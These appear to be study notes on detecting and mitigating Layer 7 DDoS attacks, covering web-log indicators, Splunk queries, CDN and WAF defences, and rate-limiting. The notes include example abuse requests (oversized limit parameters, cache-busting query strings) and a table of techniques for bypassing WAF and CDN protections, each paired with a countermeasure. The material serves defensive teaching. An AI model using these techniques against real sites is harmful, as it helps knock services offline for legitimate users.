| 2023 | Microsoft | Large Layer 7 DDoS caused outages in Azure, OneDrive, Outlook. Anonymous Sudan claimed it, using HTTP floods and Slowloris |
Lesson from Microsoft: even the biggest providers are vulnerable at Layer 7, and old techniques like Slowloris still work at scale.
7. Detection in Web Server Logs
Apache, Nginx, and IIS all log requests in a similar format, so the same indicators apply.
Indicators
| Indicator | Example | Meaning |
|---|---|---|
| High request rate | 10.10.10.100 → 1000× GET /login | Flooding an expensive endpoint |
| Odd User-Agents | curl/7.6.88 hitting /index repeatedly; Python-urllib/3.x | Scripts, not browsers (attackers may also spoof old or random UAs) |
| Geographic anomalies | Requests from all over the world | Real users cluster in a few regions; botnets are global |
| Burst timestamps | 50 requests in 1 second → /search | Humans don't click that fast |
| Server errors (5xx) | Spike of 503 Service Unavailable | Server is maxed out (5xx range = 500–511) |
| Logic abuse | GET /products?limit=999999 | One request forces a massive load |
No single indicator is proof. A real DDoS shows up as layered signals: many IPs, many regions, same expensive endpoints, same (or deliberately varied) UAs. Keep a watchlist of these indicators.
Endpoints attackers target (the expensive ones)
| Endpoint | Why it's costly |
|---|---|
/login | Authentication: password checks, DB queries |
/search | Complex database queries |
/api | Dynamic content; often critical to the whole app |
/register, /signup | DB writes + validation |
/contact, /feedback | DB entries + email sending |
/cart, /checkout | Sessions, inventory checks, payment processing |
Rule of thumb: static pages and images are cheap. Anything that queries a database, writes data, or sends email is a DoS target.
Worked log sample
Phase 1 — Normal traffic (10:01:02–09)
192.168.1.10 "GET /index.html" 200 4523 "Mozilla/5.0"
192.168.1.15 "GET /products.html" 200 6112 "Mozilla/5.0"
192.168.1.20 "GET /contact.html" 200 2987 "Mozilla/5.0"Different IPs, different pages, a few seconds apart.
Phase 2 — Attack (from 10:01:10)
203.0.113.55 "GET /login.php" 200 245 "curl/7.68.0" ×5 in the same second
...100 more linesOne IP, one expensive page, one tool UA, same second.
Phase 3 — Outage (10:01:20 onward)
192.168.1.30 "GET /index.html" 503 0 "Mozilla/5.0"
192.168.1.33 "GET /products.html" 503 0 "Mozilla/5.0"🔑 Notice whose requests fail. The attacker's requests return
200; the real users get503with 0 bytes. The attack itself looks "successful" in the logs; the damage shows up in everyone else's entries. Look for the 503 spike, then work backwards to what started just before it.
Log limitations
- A real attack means thousands of lines per second; raw logs become unreadable.
- Slowloris can be nearly invisible in access logs: entries are usually written when a request finishes, and Slowloris requests never finish. Look for timeouts (
408), connection counts, and error logs instead. - In a DDoS, per-IP counts look normal; each bot may send only a few requests.
8. Detection with a SIEM (Splunk)
SIEMs combine log sources and let you filter, sort, and chart by IP, User-Agent, or status code instead of scrolling raw files.
Query 1: requests per page over time
index="main" | timechart span=1min count by uri limit=5timechart span=1min→ count events per minutecount by uri→ one line per pagelimit=5→ top 5 pages, rest grouped as OTHER
Result (10 minutes, 1,025 events):
- Normal: 1–6 requests/min across various pages
- 2:41 AM: 1,000 requests to
/loginin one minute
⚠️ Read the axis. The y-axis is logarithmic (10 → 100 → 1,000 → 10,000). On that scale the spike looks only a bit taller than normal traffic. In reality it's roughly 170–1,000× higher.
Query 2: who sent it
index="main" | top useragent clientip| User-Agent | IP | Count | % |
|---|---|---|---|
curl/7.88.1 | 203.0.113.55 | 1000 | 97.6% |
| Firefox 128 (Linux) | 192.168.1.10 | 14 | 1.4% |
| Chrome 139 (Windows) | 192.168.1.5 | 11 | 1.1% |
Conclusion: one IP, one command-line tool, ~98% of all traffic → a single-source DoS, not a DDoS. Blocking that IP would end it. A DDoS would show the opposite: many IPs, each with a small share.
9. Defences
Application level
Secure development / input validation
- Librarian analogy: a librarian with rules ("titles under 50 characters") answers quickly. Without rules, one person's absurd request holds up the queue.
- Limit input length, reject odd characters, cap values server-side (e.g. never honour
limit=999999; enforce a maximum).
Challenges
| Type | How it works | Trade-off |
|---|---|---|
| CAPTCHA | User solves a puzzle (images, checkbox) | Small step for humans, a wall for simple bots; annoys users |
| JavaScript challenge | Runs silently in the browser to check it's a real browser | Invisible to users; tools like curl can't run JS and fail. Sophisticated bots using real (headless) browsers can pass |
Network & infrastructure level
CDN (Content Delivery Network)
- Serves cached content from edge servers near users, so the origin handles only a fraction of requests.
- Absorbs much of a DDoS on the origin's behalf.
- Load-balances across servers and reroutes if one goes down.
Reading the Cloudflare dashboard (16 TB attack):
| Metric | Value | Meaning |
|---|---|---|
| ① Total bandwidth (30 days) | 16.07 TB | Site normally sees a few hundred GB/month, so this is abnormal |
| ② Cached bandwidth | 16.07 TB | Served by the CDN edge |
| Uncached bandwidth | 3.75 GB | What actually reached the origin |
| ③ Spike | 4.55 TB in one day (only 1.09 GB uncached) | The attack |
🔑 The number that matters is uncached. Only ~0.02% of the attack traffic reached the origin server. Without the CDN, all 16 TB would have hit it.
CDN dashboards also give visibility: traffic broken down by country, volume, and source. In the example, Indonesia (~909M) and the Philippines (~249M) led traffic, which is a geographic anomaly if your customers aren't there.
WAF (Web Application Firewall)
- Usually built into CDNs.
- Allow / Challenge / Block, using known attack indicators and threat intel; custom rules for targeted threats.
- Modern WAFs are strong against DoS because they know the common patterns.
Rate-limiting rule:
IF Path == /login.php AND Requests > 5 per Minute → BLOCK (or CHALLENGE)The offending IP is blocked for a time, or challenged to prove it's human.
⚠️ Per-IP rate limits fail against DDoS. 10,000 bots each sending 4 requests/min stay under a 5/min limit and still deliver 40,000 requests/min. Rate limiting beats single-source DoS; DDoS needs global thresholds, reputation data, and challenges.
Large-scale mitigation
Big providers absorb attacks with massive distributed networks plus filtering:
- Google (2023): mitigated a DDoS peaking at 398 million requests per second.
- Cloudflare: reported a record attack peaking at 11.5 Tbps, lasting only 35 seconds. (Records are broken often; treat any "largest ever" figure as already out of date.)
Lesson: attacks can be huge and very short. Mitigation has to be automatic; no human reacts in 35 seconds.
10. How Attackers Bypass Defences
| Technique | How | Counter |
|---|---|---|
| Cache busting | /products is cached, but /products?a=abcd is "new", so the CDN forwards it to the origin | Ignore or normalise unknown query strings in the cache key; rate-limit uncached requests |
| Rotating User-Agents | Evades UA-based WAF rules | Behaviour-based detection, JS challenges |
| Spoofed referrers | Looks like normal site navigation | Don't trust referrer alone |
| Geographically diverse sources | Evades geo-blocking and per-IP limits | Reputation feeds, global rate limits, challenges |
11. Big Picture
| Stage | Tool | What it tells / does |
|---|---|---|
| Spot | Web logs | 503 spike, burst timestamps, odd UAs, expensive endpoints |
| Understand | SIEM | When it started, which page, which IPs/UAs, DoS or DDoS |
| Absorb | CDN | Keeps the flood off the origin |
| Filter | WAF | Blocks, challenges, rate-limits |
| Prevent | Secure code | Validated, capped inputs so no single request is expensive |
One-sentence takeaway: find the expensive endpoint, identify whether the traffic comes from one source or thousands, keep it off the origin with a CDN, filter it with a WAF, and make sure no single request can cost the server too much.